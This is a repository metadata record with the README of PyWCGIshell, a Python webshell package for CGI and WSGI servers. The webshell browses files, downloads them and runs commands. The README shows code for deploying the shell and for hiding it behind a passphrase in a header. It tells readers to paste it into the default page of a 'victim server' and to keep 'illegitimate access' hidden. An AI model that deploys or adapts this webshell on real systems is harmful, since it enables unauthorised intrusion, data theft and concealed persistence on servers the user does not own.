{"id":20292479,"url":"https://github.com/mauricelambert/pywcgishell","last_synced_at":"2026-06-08T10:33:21.487Z","repository":{"id":57458445,"uuid":"363457256","full_name":"mauricelambert/PyWCGIshell","owner":"mauricelambert","description":"This package implement a WebShell for CGI and WSGI server.","archived":false,"fork":false,"pushed_at":"2021-10-26T17:51:26.000Z","size":82,"stargazers_count":1,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-14T09:14:40.858Z","etag":null,"topics":["cgi-script","exploit","pypi-package","python3","web-attacks","webshell","wsgi-server"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mauricelambert.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2021-05-01T16:33:20.000Z","updated_at":"2021-10-26T17:51:29.000Z","dependencies_parsed_at":"2022-09-09T22:51:54.375Z","dependency_job_id":null,"html_url":"https://github.com/mauricelambert/PyWCGIshell","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mauricelambert%2FPyWCGIshell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mauricelambert%2FPyWCGIshell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mauricelambert%2FPyWCGIshell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mauricelambert%2FPyWCGIshell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mauricelambert","download_url":"https://codeload.github.com/mauricelambert/PyWCGIshell/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":241787485,"owners_count":20020101,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cgi-script","exploit","pypi-package","python3","web-attacks","webshell","wsgi-server"],"created_at":"2024-11-14T15:17:27.931Z","updated_at":"2026-06-08T10:33:21.444Z","avatar_url":"https://github.com/mauricelambert.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"![PyWCGIshell logo](https://mauricelambert.github.io/info/python/security/PyWCGIshell.png \"PyWCGIshell logo\")\r\n\r\n# PyWCGIshell\r\n\r\n## Description\r\n\r\nThis package implement a WebShell for CGI and WSGI server.\r\n\r\nWith this WebShell you can:\r\n - explore directories and download files\r\n - execute command lines (with command history)\r\n - show basic informations about environment server\r\n - show environments variables\r\n\r\n## Requirements\r\n\r\nThis package require :\r\n - python3\r\n - python3 Standard Library\r\n\r\n## Installation\r\n```bash\r\npip install PyWCGIshell\r\n```\r\n\r\n## Usages\r\n\r\n### Command line\r\n\r\n(Command line is useful to try the webshell)\r\n\r\n```bash\r\npython3 -m PyWCGIshell wsgi # Try it in wsgi mode\r\n```\r\n\r\n### Python script\r\n\r\n#### CGI page\r\n\r\n```python\r\nfrom PyWCGIshell import WebShell\r\n\r\ndef my_default_cgi_page():\r\n\tprint(\"Content-type:text/plain; charset=utf-8\")\r\n\tprint(\"\")\r\n\tprint(\"Hello World !\")\r\n\r\nwebshell = WebShell()\r\nwebshell.standard_page = my_default_cgi_page\r\nwebshell.run()\r\n```\r\n\r\n#### WSGI page\r\n\r\n```python\r\nfrom PyWCGIshell import WebShell\r\n\r\ndef my_default_wsgi_page(environ, start_response):\r\n    status = '200 OK'\r\n    headers = [('Content-type', 'text/plain; charset=utf-8')]\r\n    start_response(status, headers)\r\n    return [b\"Hello World !\"]\r\n\r\nwebshell = WebShell(type_=\"wsgi\")\r\nwebshell.standard_page = my_default_wsgi_page\r\napplication = webshell.run\r\n# Apache with mod_wsgi use the \"application\" as default function\r\n```\r\n\r\n#### WebShell options\r\n\r\n```python\r\nfrom PyWCGIshell import WebShell\r\n\r\nwebshell = WebShell(type_=\"cgi\", passphrase=\"SHELL\", pass_type=\"method\")\r\nwebshell.run()\r\n```\r\nI don't recommend using `method` like `pass_type` to hide your WebShell.\r\n\r\nYou can use similar configuration to hide your WebShell.\r\n```python\r\nfrom PyWCGIshell import WebShell\r\n\r\nwebshell = WebShell(type_=\"wsgi\", passphrase=\"\u003cinexistant api key\u003e\", pass_type=\"header_value\")\r\napplication = webshell.run\r\n```\r\n\r\nTo use this WebShell:\r\n - Configure (server type, passphrase and passphrase location) and copy the WebShell code or install it\r\n - Paste it in the default page of the victim server or import it\r\n - Send a request with the passphrase and exploit the weak server\r\n\r\n## Example\r\n\r\nInstall and configure PyWCGIshell on WebScripts to keep your illegitimate access and hide it ([repo is here](https://github.com/mauricelambert/WebScriptsWebShell)).\r\n\r\n[![WebShell on WebScripts - Youtube](https://img.youtube.com/vi/pvaAwOkZ5FU/0.jpg)](http://www.youtube.com/watch?v=pvaAwOkZ5FU)\r\n\r\n*WebShell on WebScripts - Youtube*\r\n\r\n## Links\r\n\r\n - [Github Page](https://github.com/mauricelambert/PyWCGIshell/)\r\n - [Documentation](https://mauricelambert.github.io/info/python/security/PyWCGIshell.html)\r\n - [Pypi package](https://pypi.org/project/PyWCGIshell/)\r\n\r\n## Licence\r\n\r\nLicensed under the [GPL, version 3](https://www.gnu.org/licenses/).\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmauricelambert%2Fpywcgishell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmauricelambert%2Fpywcgishell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmauricelambert%2Fpywcgishell/lists"}